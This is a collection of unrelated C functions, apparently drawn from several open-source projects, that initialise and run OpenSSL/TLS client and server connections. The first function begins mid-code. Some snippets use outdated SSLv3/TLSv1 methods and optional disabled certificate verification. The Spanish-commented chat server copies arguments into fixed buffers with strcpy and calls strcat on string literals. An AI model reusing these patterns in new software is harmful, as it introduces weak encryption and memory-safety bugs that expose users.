SSL_SESS_CACHE_OFF); SSL_CTX_set_default_verify_paths(ctx); #ifdef SSL_MODE_RELEASE_BUFFERS SSL_CTX_set_mode(ctx, SSL_MODE_RELEASE_BUFFERS); #endif /* SSL_CTX_load_verify_locations(ctx, "/etc/ejabberd/ca_certificates.pem", NULL); */ /* SSL_CTX_load_verify_locations(ctx, NULL, "/etc/ejabberd/ca_certs/"); */ /* This IF is commented to allow verification in all cases: */ /* if (command == SET_CERTIFICATE_FILE_ACCEPT) */ /* { */ SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER|SSL_VERIFY_CLIENT_ONCE, verify_callback); /* } */ ssl_ctx = ctx; hash_table_insert(buf, mtime, ssl_ctx); } d->ssl = SSL_new(ssl_ctx); die_unless(d->ssl, "SSL_new failed"); if (flags & VERIFY_NONE) SSL_set_verify(d->ssl, SSL_VERIFY_NONE, verify_callback); d->bio_read = BIO_new(BIO_s_mem()); d->bio_write = BIO_new(BIO_s_mem()); SSL_set_bio(d->ssl, d->bio_read, d->bio_write); if (command == SET_CERTIFICATE_FILE_ACCEPT) { SSL_set_options(d->ssl, SSL_OP_NO_TICKET); SSL_set_accept_state(d->ssl); } else { SSL_set_options(d->ssl, SSL_OP_NO_SSLv2|SSL_OP_NO_TICKET); SSL_set_connect_state(d->ssl); } break; } case SET_ENCRYPTED_INPUT: die_unless(d->ssl, "SSL not initialized"); BIO_write(d->bio_read, buf, len); break; case SET_DECRYPTED_OUTPUT: die_unless(d->ssl, "SSL not initialized"); res = SSL_write(d->ssl, buf, len); if (res <= 0) { res = SSL_get_error(d->ssl, res); if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) { b = driver_alloc_binary(1); b->orig_bytes[0] = 2; *rbuf = (char *)b; return 1; } else { die_unless(0, "SSL_write failed"); } } break; case GET_ENCRYPTED_OUTPUT: die_unless(d->ssl, "SSL not initialized"); size = BUF_SIZE + 1; rlen = 1; b = driver_alloc_binary(size); b->orig_bytes[0] = 0; while ((res = BIO_read(d->bio_write, b->orig_bytes + rlen, BUF_SIZE)) > 0) { //printf("%d bytes of encrypted data read from state machine\r\n", res); rlen += res; size += BUF_SIZE; b = driver_realloc_binary(b, size); } b = driver_realloc_binary(b, rlen); *rbuf = (char *)b; return rlen; case GET_DECRYPTED_INPUT: if (!SSL_is_init_finished(d->ssl)) { res = SSL_do_handshake(d->ssl); if (res <= 0) die_unless(SSL_get_error(d->ssl, res) == SSL_ERROR_WANT_READ, "SSL_do_handshake failed"); } else { size = BUF_SIZE + 1; rlen = 1; b = driver_alloc_binary(size); b->orig_bytes[0] = 0; while ((res = SSL_read(d->ssl, b->orig_bytes + rlen, BUF_SIZE)) > 0) { //printf("%d bytes of decrypted data read from state machine\r\n",res); rlen += res; size += BUF_SIZE; b = driver_realloc_binary(b, size); } if (res < 0) { int err = SSL_get_error(d->ssl, res); if (err == SSL_ERROR_WANT_READ) { //printf("SSL_read wants more data\r\n"); //return 0; } // TODO } b = driver_realloc_binary(b, rlen); *rbuf = (char *)b; return rlen; } break; case GET_PEER_CERTIFICATE: cert = SSL_get_peer_certificate(d->ssl); if (cert == NULL) { b = driver_alloc_binary(1); b->orig_bytes[0] = 1; *rbuf = (char *)b; return 1; } else { unsigned char *tmp_buf; rlen = i2d_X509(cert, NULL); if (rlen >= 0) { rlen++; b = driver_alloc_binary(rlen); b->orig_bytes[0] = 0; tmp_buf = (unsigned char *)&b->orig_bytes[1]; i2d_X509(cert, &tmp_buf); X509_free(cert); *rbuf = (char *)b; return rlen; } else X509_free(cert); } break; case GET_VERIFY_RESULT: b = driver_alloc_binary(1); b->orig_bytes[0] = SSL_get_verify_result(d->ssl); *rbuf = (char *)b; return 1; break; } b = driver_alloc_binary(1); b->orig_bytes[0] = 0; *rbuf = (char *)b; return 1; }
BOOL tls_connect(rdpTls* tls) { CryptoCert cert; long options = 0; int connection_status; tls->ctx = SSL_CTX_new(TLSv1_client_method()); if (tls->ctx == NULL) { fprintf(stderr, "SSL_CTX_new failed\n"); return FALSE; } //SSL_CTX_set_mode(tls->ctx, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER | SSL_MODE_ENABLE_PARTIAL_WRITE); /** * SSL_OP_NO_COMPRESSION: * * The Microsoft RDP server does not advertise support * for TLS compression, but alternative servers may support it. * This was observed between early versions of the FreeRDP server * and the FreeRDP client, and caused major performance issues, * which is why we're disabling it. */ #ifdef SSL_OP_NO_COMPRESSION options |= SSL_OP_NO_COMPRESSION; #endif /** * SSL_OP_TLS_BLOCK_PADDING_BUG: * * The Microsoft RDP server does *not* support TLS padding. * It absolutely needs to be disabled otherwise it won't work. */ options |= SSL_OP_TLS_BLOCK_PADDING_BUG; /** * SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS: * * Just like TLS padding, the Microsoft RDP server does not * support empty fragments. This needs to be disabled. */ options |= SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS; SSL_CTX_set_options(tls->ctx, options); tls->ssl = SSL_new(tls->ctx); if (tls->ssl == NULL) { fprintf(stderr, "SSL_new failed\n"); return FALSE; } if (SSL_set_fd(tls->ssl, tls->sockfd) < 1) { fprintf(stderr, "SSL_set_fd failed\n"); return FALSE; } connection_status = SSL_connect(tls->ssl); if (connection_status <= 0) { if (tls_print_error("SSL_connect", tls->ssl, connection_status)) { return FALSE; } } cert = tls_get_certificate(tls, TRUE); if (cert == NULL) { fprintf(stderr, "tls_connect: tls_get_certificate failed to return the server certificate.\n"); return FALSE; } tls->Bindings = tls_get_channel_bindings(cert->px509); if (!crypto_cert_get_public_key(cert, &tls->PublicKey, &tls->PublicKeyLength)) { fprintf(stderr, "tls_connect: crypto_cert_get_public_key failed to return the server public key.\n"); tls_free_certificate(cert); return FALSE; } if (!tls_verify_certificate(tls, cert, tls->settings->ServerHostname)) { fprintf(stderr, "tls_connect: certificate not trusted, aborting.\n"); tls_disconnect(tls); tls_free_certificate(cert); return FALSE; } tls_free_certificate(cert); return TRUE; }
BOOL tls_accept(rdpTls* tls, const char* cert_file, const char* privatekey_file) { CryptoCert cert; long options = 0; int connection_status; tls->ctx = SSL_CTX_new(SSLv23_server_method()); if (tls->ctx == NULL) { fprintf(stderr, "SSL_CTX_new failed\n"); return FALSE; } /* * SSL_OP_NO_SSLv2: * * We only want SSLv3 and TLSv1, so disable SSLv2. * SSLv3 is used by, eg. Microsoft RDC for Mac OS X. */ options |= SSL_OP_NO_SSLv2; /** * SSL_OP_NO_COMPRESSION: * * The Microsoft RDP server does not advertise support * for TLS compression, but alternative servers may support it. * This was observed between early versions of the FreeRDP server * and the FreeRDP client, and caused major performance issues, * which is why we're disabling it. */ #ifdef SSL_OP_NO_COMPRESSION options |= SSL_OP_NO_COMPRESSION; #endif /** * SSL_OP_TLS_BLOCK_PADDING_BUG: * * The Microsoft RDP server does *not* support TLS padding. * It absolutely needs to be disabled otherwise it won't work. */ options |= SSL_OP_TLS_BLOCK_PADDING_BUG; /** * SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS: * * Just like TLS padding, the Microsoft RDP server does not * support empty fragments. This needs to be disabled. */ options |= SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS; SSL_CTX_set_options(tls->ctx, options); if (SSL_CTX_use_RSAPrivateKey_file(tls->ctx, privatekey_file, SSL_FILETYPE_PEM) <= 0) { fprintf(stderr, "SSL_CTX_use_RSAPrivateKey_file failed\n"); fprintf(stderr, "PrivateKeyFile: %s\n", privatekey_file); return FALSE; } tls->ssl = SSL_new(tls->ctx); if (!tls->ssl) { fprintf(stderr, "SSL_new failed\n"); return FALSE; } if (SSL_use_certificate_file(tls->ssl, cert_file, SSL_FILETYPE_PEM) <= 0) { fprintf(stderr, "SSL_use_certificate_file failed\n"); return FALSE; } cert = tls_get_certificate(tls, FALSE); if (!cert) { fprintf(stderr, "tls_connect: tls_get_certificate failed to return the server certificate.\n"); return FALSE; } if (!crypto_cert_get_public_key(cert, &tls->PublicKey, &tls->PublicKeyLength)) { fprintf(stderr, "tls_connect: crypto_cert_get_public_key failed to return the server public key.\n"); tls_free_certificate(cert); return FALSE; } free(cert); if (SSL_set_fd(tls->ssl, tls->sockfd) < 1) { fprintf(stderr, "SSL_set_fd failed\n"); return FALSE; } while (1) { connection_status = SSL_accept(tls->ssl); if (connection_status <= 0) { switch (SSL_get_error(tls->ssl, connection_status)) { case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_WRITE: break; default: if (tls_print_error("SSL_accept", tls->ssl, connection_status)) return FALSE; break; } } else { break; } } fprintf(stderr, "TLS connection accepted\n"); return TRUE; }
LWS_VISIBLE int lws_server_socket_service_ssl(struct libwebsocket_context *context, struct libwebsocket **pwsi, struct libwebsocket *new_wsi, int accept_fd, struct libwebsocket_pollfd *pollfd) { int n, m; struct libwebsocket *wsi = *pwsi; #ifndef USE_WOLFSSL BIO *bio; #endif if (!LWS_SSL_ENABLED(context)) return 0; switch (wsi->mode) { case LWS_CONNMODE_SERVER_LISTENER: if (!new_wsi) { lwsl_err("no new_wsi\n"); return 0; } new_wsi->ssl = SSL_new(context->ssl_ctx); if (new_wsi->ssl == NULL) { lwsl_err("SSL_new failed: %s\n", ERR_error_string(SSL_get_error(new_wsi->ssl, 0), NULL)); libwebsockets_decode_ssl_error(); // TODO: Shouldn't the caller handle this? compatible_close(accept_fd); goto fail; } SSL_set_ex_data(new_wsi->ssl, openssl_websocket_private_data_index, context); SSL_set_fd(new_wsi->ssl, accept_fd); #ifdef USE_WOLFSSL #ifdef USE_OLD_CYASSL CyaSSL_set_using_nonblock(new_wsi->ssl, 1); #else wolfSSL_set_using_nonblock(new_wsi->ssl, 1); #endif #else SSL_set_mode(new_wsi->ssl, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER); bio = SSL_get_rbio(new_wsi->ssl); if (bio) BIO_set_nbio(bio, 1); /* nonblocking */ else lwsl_notice("NULL rbio\n"); bio = SSL_get_wbio(new_wsi->ssl); if (bio) BIO_set_nbio(bio, 1); /* nonblocking */ else lwsl_notice("NULL rbio\n"); #endif /* * we are not accepted yet, but we need to enter ourselves * as a live connection. That way we can retry when more * pieces come if we're not sorted yet */ *pwsi = new_wsi; wsi = *pwsi; wsi->mode = LWS_CONNMODE_SSL_ACK_PENDING; if (insert_wsi_socket_into_fds(context, wsi)) goto fail; libwebsocket_set_timeout(wsi, PENDING_TIMEOUT_SSL_ACCEPT, AWAITING_TIMEOUT); lwsl_info("inserted SSL accept into fds, trying SSL_accept\n"); /* fallthru */ case LWS_CONNMODE_SSL_ACK_PENDING: if (lws_change_pollfd(wsi, LWS_POLLOUT, 0)) goto fail; lws_libev_io(context, wsi, LWS_EV_STOP | LWS_EV_WRITE); lws_latency_pre(context, wsi); n = recv(wsi->sock, (char *)context->service_buffer, sizeof(context->service_buffer), MSG_PEEK); /* * optionally allow non-SSL connect on SSL listening socket * This is disabled by default, if enabled it goes around any * SSL-level access control (eg, client-side certs) so leave * it disabled unless you know it's not a problem for you */ if (context->allow_non_ssl_on_ssl_port) { if (n >= 1 && context->service_buffer[0] >= ' ') { /* * TLS content-type for Handshake is 0x16, and * for ChangeCipherSpec Record, it's 0x14 * * A non-ssl session will start with the HTTP * method in ASCII. If we see it's not a legit * SSL handshake kill the SSL for this * connection and try to handle as a HTTP * connection upgrade directly. */ wsi->use_ssl = 0; SSL_shutdown(wsi->ssl); SSL_free(wsi->ssl); wsi->ssl = NULL; goto accepted; } if (!n) /* * connection is gone, or nothing to read * if it's gone, we will timeout on * PENDING_TIMEOUT_SSL_ACCEPT */ break; if (n < 0 && (LWS_ERRNO == LWS_EAGAIN || LWS_ERRNO == LWS_EWOULDBLOCK)) { /* * well, we get no way to know ssl or not * so go around again waiting for something * to come and give us a hint, or timeout the * connection. */ m = SSL_ERROR_WANT_READ; goto go_again; } } /* normal SSL connection processing path */ n = SSL_accept(wsi->ssl); lws_latency(context, wsi, "SSL_accept LWS_CONNMODE_SSL_ACK_PENDING\n", n, n == 1); if (n == 1) goto accepted; m = SSL_get_error(wsi->ssl, n); lwsl_debug("SSL_accept failed %d / %s\n", m, ERR_error_string(m, NULL)); go_again: if (m == SSL_ERROR_WANT_READ) { if (lws_change_pollfd(wsi, 0, LWS_POLLIN)) goto fail; lws_libev_io(context, wsi, LWS_EV_START | LWS_EV_READ); lwsl_info("SSL_ERROR_WANT_READ\n"); break; } if (m == SSL_ERROR_WANT_WRITE) { if (lws_change_pollfd(wsi, 0, LWS_POLLOUT)) goto fail; lws_libev_io(context, wsi, LWS_EV_START | LWS_EV_WRITE); break; } lwsl_debug("SSL_accept failed skt %u: %s\n", pollfd->fd, ERR_error_string(m, NULL)); goto fail; accepted: /* OK, we are accepted... give him some time to negotiate */ libwebsocket_set_timeout(wsi, PENDING_TIMEOUT_ESTABLISH_WITH_SERVER, AWAITING_TIMEOUT); wsi->mode = LWS_CONNMODE_HTTP_SERVING; lws_http2_configure_if_upgraded(wsi); lwsl_debug("accepted new SSL conn\n"); break; } return 0; fail: return 1; }
SSL *SSLSocket::createSSL(SSL_CTX *ctx) { ERR_clear_error(); /* look at options in the stream and set appropriate verification flags */ if (m_context[s_verify_peer].toBoolean()) { /* turn on verification callback */ SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verifyCallback); /* CA stuff */ String cafile = m_context[s_cafile].toString(); String capath = m_context[s_capath].toString(); if (!cafile.empty() || !capath.empty()) { if (!SSL_CTX_load_verify_locations(ctx, cafile.data(), capath.data())) { raise_warning("Unable to set verify locations `%s' `%s'", cafile.data(), capath.data()); return nullptr; } } int64_t depth = m_context[s_verify_depth].toInt64(); if (depth) { SSL_CTX_set_verify_depth(ctx, depth); } } else { SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, nullptr); } /* callback for the passphrase (for localcert) */ if (!m_context[s_passphrase].toString().empty()) { SSL_CTX_set_default_passwd_cb_userdata(ctx, this); SSL_CTX_set_default_passwd_cb(ctx, passwdCallback); } String cipherlist = m_context[s_ciphers].toString(); if (cipherlist.empty()) { cipherlist = "DEFAULT"; } SSL_CTX_set_cipher_list(ctx, cipherlist.data()); String certfile = m_context[s_local_cert].toString(); if (!certfile.empty()) { String resolved_path_buff = File::TranslatePath(certfile); if (!resolved_path_buff.empty()) { /* a certificate to use for authentication */ if (SSL_CTX_use_certificate_chain_file(ctx, resolved_path_buff.data()) != 1) { raise_warning("Unable to set local cert chain file `%s'; Check " "that your cafile/capath settings include details of " "your certificate and its issuer", certfile.data()); return nullptr; } if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff.data(), SSL_FILETYPE_PEM) != 1) { raise_warning("Unable to set private key file `%s'", resolved_path_buff.data()); return nullptr; } SSL *tmpssl = SSL_new(ctx); X509 *cert = SSL_get_certificate(tmpssl); if (cert) { EVP_PKEY *key = X509_get_pubkey(cert); EVP_PKEY_copy_parameters(key, SSL_get_privatekey(tmpssl)); EVP_PKEY_free(key); } SSL_free(tmpssl); if (!SSL_CTX_check_private_key(ctx)) { raise_warning("Private key does not match certificate!"); } } } SSL *ssl = SSL_new(ctx); if (ssl) { SSL_set_ex_data(ssl, GetSSLExDataIndex(), this); /* map SSL => stream */ } return ssl; }
static void evsock_accept_handler (struct evsock *sock) { struct evsock *nsock; int ret, err, opt; unsigned long e; if (sock->ssl) { ret = SSL_accept(sock->ssl); if (ret <= 0) { err = SSL_get_error(sock->ssl, ret); switch (err) { case SSL_ERROR_WANT_READ: EV_IO_RESET(sock->loop, &sock->w, EV_READ); return; case SSL_ERROR_WANT_WRITE: EV_IO_RESET(sock->loop, &sock->w, EV_READ); return; case SSL_ERROR_SYSCALL: e = ERR_get_error(); if (!e) { if (errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) { return; } } default: fprintf(stderr, "SSL_accept: error\n"); SSL_free(sock->ssl); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } } } else { nsock = sock->on_pre_accept(sock); if (!nsock) { return; } nsock->peerlen = sizeof(nsock->peer); nsock->fd = accept(sock->fd, (struct sockaddr *)&nsock->peer, &nsock->peerlen); if (nsock->fd == -1) { perror("accept"); if (nsock->data.destroy) { nsock->data.destroy(nsock->data.ptr); } return; } opt = 1; if (ioctl(nsock->fd, FIONBIO, &opt) == -1) { perror("ioctl"); close(nsock->fd); if (nsock->data.destroy) { nsock->data.destroy(nsock->data.ptr); } return; } opt = 1; if (setsockopt(nsock->fd, SOL_TCP, TCP_NODELAY, &opt, sizeof(opt)) == -1) { perror("setsockopt"); close(nsock->fd); if (nsock->data.destroy) { nsock->data.destroy(nsock->data.ptr); } return; } nsock->state = EVSOCK_STATE_ACCEPT; nsock->ctx = sock->ctx; nsock->loop = sock->loop; nsock->w.data = nsock; ev_io_init(&nsock->w, evsock_handler, nsock->fd, EV_READ | EV_WRITE); ev_io_start(nsock->loop, &nsock->w); nsock->on_accept = sock->on_accept; nsock->on_read = sock->on_read; nsock->on_write = sock->on_write; if (nsock->ctx) { nsock->ssl = SSL_new(nsock->ctx); if (!nsock->ssl) { ERR_print_errors_fp(stderr); close(nsock->fd); ev_io_stop(nsock->loop, &nsock->w); if (nsock->data.destroy) { nsock->data.destroy(nsock->data.ptr); } return; } if (!SSL_set_fd(nsock->ssl, nsock->fd)) { ERR_print_errors_fp(stderr); SSL_free(nsock->ssl); close(nsock->fd); ev_io_stop(nsock->loop, &nsock->w); if (nsock->data.destroy) { nsock->data.destroy(nsock->data.ptr); } return; } return; } sock = nsock; } if (sock->on_accept && sock->on_accept(sock) == -1) { if (sock->ssl) { SSL_shutdown(sock->ssl); SSL_free(sock->ssl); } close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } sock->state = EVSOCK_STATE_ESTABLISHED; sock->rx.events = EV_READ; sock->tx.events = EV_WRITE; EV_IO_RESET(sock->loop, &sock->w, EVSOCK_NEED_EVENTS(sock)); }
int main(int argc, char** argv){ int sock = 0; // declaración del socket e inicializado a 0 int error = 0; /** declaramos una variable que nos servirá para detectar * errores */ socklen_t length = (socklen_t) sizeof (struct sockaddr_in); // tamaño del paquete struct sockaddr_in addr; // definimos el contenedor de la dirección unsigned int port = 5678; /** creamos la variable que identifica el puerto * de conexión, siendo el puerto por defecto 5678 */ int connPos = 0; // primera posición libre en el array de conexiones int connTam = 10; // tamaño actual del array de conexiones int connGrow = 10; // factor de crecimiento del array user* conn = NULL; // array de conexiones con los clientes room rooms[DIM]; user auxConn; // conexion auxiliar sms auxMsj; fd_set connList, connListCopy; // definimos un descriptor que contendrá nuestros sockets int nbytes = 0; // contador de bytes leidos y escritos int dbName = 0; // variable que nos permitirá configurar el nombre de la base de datos sqlite3* db = NULL; // descriptor de la base de datos char cert[DIM] = "cert"; // nombre del certificado del servidor char pkey[DIM] = "pkey"; // nombre del archivo con la clave privada // <editor-fold defaultstate="collapsed" desc="Interpretado de parámetros de entrada"> //analizamos los parámetros de entrada int i = 0; for(; i < argc; i++){ if(strcmp(argv[i], "-p") == 0){ // leemos el puerto if(argc <= i + 1 || isNum(argv[i+1]) == 0){ perror("Se esperaba un número después de -p"); exit(-1); }else{ PDEBUG("ARGS: Se detectó un puerto\n"); i++; port = atoi(argv[i]); } continue; }else if(strcmp(argv[i], "-ls") == 0){ // leemos el tamaño inicial de la lista if(argc <= i + 1 || isNum(argv[i+1]) == 0){ perror("Se esperaba un número después de -ls"); exit(-1); }else{ PDEBUG("ARGS: Se detectó un tamaño inicial\n"); i++; connTam = atoi(argv[i]); } continue; }else if(strcmp(argv[i], "-lg") == 0){ // leemos el factor de creciemiento de la lista de conexiones if(argc <= i + 1 || isNum(argv[i+1]) == 0){ perror("Se esperaba un número después de -lg\n"); exit(-1); }else{ PDEBUG("ARGS: Se detectó un crecimiento\n"); i++; connGrow = atoi(argv[i]); } continue; }else if(strcmp(argv[i], "-db") == 0){ // leemos el nombre de la base de datos que queremos utilizar if(argc <= i + 1){ perror("Se esperaba una cadena depués de -db\n"); exit(-1); }else{ PDEBUG("ARGS: Se detectó un crecimiento\n"); i++; dbName = i; } continue; }else if(strcmp(argv[i], "-cert") == 0){ // leemos el nombre del archivo del certificado if(argc <= i + 1){ perror("Se esperaba una cadena depués de -cert\n"); exit(-1); }else{ PDEBUG("ARGS: Se detectó un certificado\n"); i++; strcpy(cert, argv[i]); } continue; }else if(strcmp(argv[i], "-pkey") == 0){ // leemos el nombre del archivo de que contiene la clave privada if(argc <= i + 1){ perror("Se esperaba una cadena depués de -pkey\n"); exit(-1); }else{ PDEBUG("ARGS: Se detectó una clave privada\n"); i++; strcpy(pkey, argv[i]); } continue; } } //</editor-fold> db = db_open( (dbName == 0) ? "chat.db" : argv[dbName] ); PDEBUG("INFO: Convertimos el proceso en un demonio\n"); //make_daemon(); /*******************************SSL****************************************/ PDEBUG("INFO: Inicializando la libreria SSL\n"); SSL_library_init(); PDEBUG("INFO: Cargamos los algoritmos SSL y los mensajes de error\n"); OpenSSL_add_all_algorithms(); SSL_load_error_strings(); PDEBUG("INFO: Seleccionamos SSLv2, SSLv3 y TLSv1\n"); SSL_METHOD *method; method = SSLv23_server_method(); PDEBUG("INFO: Creamos el nuevo contexto\n"); SSL_CTX *ctx; ctx = SSL_CTX_new(method); if(ctx == NULL) { // error ERR_print_errors_fp(stderr); _exit(-1); } PDEBUG("INFO: Comprobando el certificado\n"); if ( SSL_CTX_use_certificate_chain_file(ctx, cert) <= 0) { ERR_print_errors_fp(stderr); _exit(-1); } PDEBUG("INFO: Comprobando la clav eprivada\n"); if ( SSL_CTX_use_PrivateKey_file(ctx, pkey, SSL_FILETYPE_PEM) <= 0) { ERR_print_errors_fp(stderr); _exit(-1); } PDEBUG("INFO: Comprobando que las claves pueden trabajar juntas\n"); if ( !SSL_CTX_check_private_key(ctx) ) { fprintf(stderr, "Clave privada incorrecta.\n"); _exit(-1); } /*******************************SSL****************************************/ //Creamos el socket PDEBUG("INFO: Creando el socket\n"); sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //Comprobamos si ha ocurrido un error al crear el socket if(sock < 0){ write(2, strcat("ERROR: creación del socket {{socket()}}: %s\n", strerror(errno)), DIM); // terminamos la ejecución del programa exit(-1); } PDEBUG("INFO: Estableciendo el puerto, origenes,...\n"); addr.sin_family = AF_INET; // familia AF_INET addr.sin_port = htons(port); // definimos el puerto de conexión addr.sin_addr.s_addr = htonl(INADDR_ANY); // permitimos conexion de cualquiera /* hacemos este "apaño" porque según hemos leido, http://www.wlug.org.nz/EADDRINUSE * hay un timeout para liberar el socket */ unsigned int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))==-1) { write(2, "ERROR: al permitir la reutiización del puerto {{setsockopt()}}\n", DIM); exit(-1); } // le asignamos una dirección al socket PDEBUG("INFO: Asignando una dirección al socket\n"); error = bind(sock, (struct sockaddr *)&addr, length); //Comprobamos si ha ocurrido un error al hacer el bind if(error < 0){ write(2, strcat("ERROR: {{bind()}}: %s\n", strerror(errno)), DIM); // terminamos la ejecución del programa exit(-1); } //Ponemos el servidor a escuchar para buscar nuevas conexiones PDEBUG("INFO: Comenzamos la escucha de l programa\n"); error = listen(sock, Q_DIM); //Comprobamos si ha ocurrido un error al ponernos a escuchar if(error < 0){ write(2, strcat("ERROR: al iniciar la escucha{{listen()}}: %s\n", strerror(errno)), DIM); // terminamos la ejecución del programa exit(-1); } // realizamos la asignación inicial de memoria PDEBUG("INFO: Realizando asignación inicial de memoria, tamaño inicial 10\n"); connTam = 10; conn = malloc(connTam * sizeof(user)); // rellenamos el array con -1 memset(conn, 0, connTam * sizeof(user)); //inicializamos la lista de conexiones FD_ZERO(&connList); // Inicio del bit descriptor connList con el valor de sock FD_SET (sock, &connList); PDEBUG("INFO: Creamos la sala de chat general\n"); bzero(rooms, DIM * sizeof(room)); strcpy(rooms[0].name, "general"); // <editor-fold defaultstate="collapsed" desc="Bucle de escucha"> //comenzamos a analizar conexiones PDEBUG("INFO: Comenzamos a analizar los sockets\n"); while(1){ // hacemos una copia de seguridad para asegurarnos de no perder los datos connListCopy = connList; // ¿Hay algún socket listo para leer? PDEBUG("INFO: ¿Hay algún socket listo para leer?\n"); error = select(connTam + 1, &connListCopy, NULL, NULL, NULL); //Comprobamos si ha ocurrido un error al ponernos a escuchar if(error < 0){ write(2, strcat("ERROR: al realizar la selección {{select()}}: %s\n" , strerror(errno)), DIM); // terminamos la ejecución del programa exit(-1); } // recorriendo los sockets para ver los que están activos PDEBUG("INFO: recorriendo los sockets para ver los que están activos\n"); int i = 0; // definimos un índice for (; i <= connTam; i++){ // este socket está preparado para leer los datos if(FD_ISSET(i, &connListCopy)){ // vemos si el socket preparado para leer es el de aceptar peticiones if(i == sock){ PDEBUG("INFO: Nuevo cliente detectado, comprobando...\n"); auxConn.sock = accept(sock, (struct sockaddr *) &addr, &length); if(auxConn.sock < 0){ write(2, "ERROR: al realizar la aceptación {{accept()}}: %s\n" , *strerror(errno)); // terminamos la ejecución del programa exit(-1); } /************************SSL*******************************/ PDEBUG("INFO: Creando conexion ssl\n"); PDEBUG("INFO: Creando conexion SSL\n"); auxConn.ssl = SSL_new(ctx); PDEBUG("INFO: Asignando la conexión a SSL\n"); SSL_set_fd(auxConn.ssl, auxConn.sock); PDEBUG("INFO: Aceptando la conexión SSL\n"); error = SSL_accept(auxConn.ssl); if(error < 0){ ERR_print_errors_fp(stderr); exit(-1); } /************************SSL*******************************/ PDEBUG("INFO: Conexión establecida, autenticando...\n"); memset(&auxMsj, 0, sizeof(auxMsj)); // incializamos la estructura PDEBUG("INFO: Solicitando autenticación\n"); strcpy(auxMsj.text, "Usuario: "); // establecemos el texto que queremos que se muestre auxMsj.flag = REQ_TEXT; // le indicamos que requerimos una respuesta con texto strcpy(auxMsj.name, SERVER); // nos identificamos como el servidor SSL_write(auxConn.ssl, &auxMsj, sizeof(sms)); // enviamos la información // metemos los datos de la conexión en nuestro array de conexiones strcpy((*(conn + connPos)).name, auxMsj.text); (*(conn + connPos)).sock = auxConn.sock; (*(conn + connPos)).ssl = auxConn.ssl; (*(conn + connPos)).prov = PROV; // Añadimos el socket a nuestra lista PDEBUG("INFO: Insertando socket en la lista de monitoreo\n"); FD_SET (auxConn.sock, &connList); // como la peticion se ha aceptado incrementamos el contador de conexiones PDEBUG("INFO: Cálculo del nuevo offset\n"); nextPos(conn, &connPos, &connTam, connGrow); }else{ // si no, es un cliente ya registrado PDEBUG("DATA: Nuevo mensaje detectado\n"); nbytes = SSL_read((*(conn+searchConn(conn, connTam, i))).ssl, &auxMsj, sizeof(sms)); if(nbytes > 0){ // si hemos leido más d eun byte... switch(auxMsj.flag){ case CLI_EXIT: // desconexión del cliente closeConn(conn, &connPos, connTam, i, &connList, db); break; case SERV_ADMIN: // parámetros que ha de ejecutr el servidor execParams(conn, connTam, auxMsj.text, i, sock, db, rooms, DIM); break; case MSJ: // mensaje multicast(conn, &connTam, auxMsj, i, db, (*(conn+searchConn(conn, connTam, i))).room); break; case REQ_AUTH: // vamos a leer el nombre de usuario auth(conn, &connTam, i, auxMsj, db, rooms, DIM); break; case CHECK_ROOM: // vamos a leer el nombre de usuario roomCheckIn(conn, &connTam, i, auxMsj, db, rooms, DIM); break; case CHECK_PASS: authPassword(conn, &connTam, i, auxMsj, db, rooms, DIM); break; case MP: mp(conn, &connTam, auxMsj, i, db); break; default: write(2, "ERROR: Recibido un mensaje mal formado\n", 39); break; } }else{ // hemos detectado una desconexión por el cerrado de la conexión closeConn(conn, &connPos, connTam, i, &connList, db); } } } } }//</editor-fold> return 0; }
/*********************************************************************** * doConnection - make a connection * Args: * scon = earlier ssl connection for session id, or NULL * Returns: * SSL * = the connection pointer. */ static SSL *doConnection(SSL *scon) { BIO *conn; SSL *serverCon; int width, i; fd_set readfds; if ((conn=BIO_new(BIO_s_connect())) == NULL) return(NULL); /* BIO_set_conn_port(conn,port);*/ BIO_set_conn_hostname(conn,host); if (scon == NULL) serverCon=SSL_new(tm_ctx); else { serverCon=scon; SSL_set_connect_state(serverCon); } SSL_set_bio(serverCon,conn,conn); #if 0 if( scon != NULL ) SSL_set_session(serverCon,SSL_get_session(scon)); #endif /* ok, lets connect */ for(;;) { i=SSL_connect(serverCon); if (BIO_sock_should_retry(i)) { BIO_printf(bio_err,"DELAY\n"); i=SSL_get_fd(serverCon); width=i+1; FD_ZERO(&readfds); openssl_fdset(i,&readfds); /* Note: under VMS with SOCKETSHR the 2nd parameter * is currently of type (int *) whereas under other * systems it is (void *) if you don't have a cast it * will choke the compiler: if you do have a cast then * you can either go for (int *) or (void *). */ select(width,(void *)&readfds,NULL,NULL,NULL); continue; } break; } if(i <= 0) { BIO_printf(bio_err,"ERROR\n"); if (verify_error != X509_V_OK) BIO_printf(bio_err,"verify error:%s\n", X509_verify_cert_error_string(verify_error)); else ERR_print_errors(bio_err); if (scon == NULL) SSL_free(serverCon); return NULL; } return serverCon; }
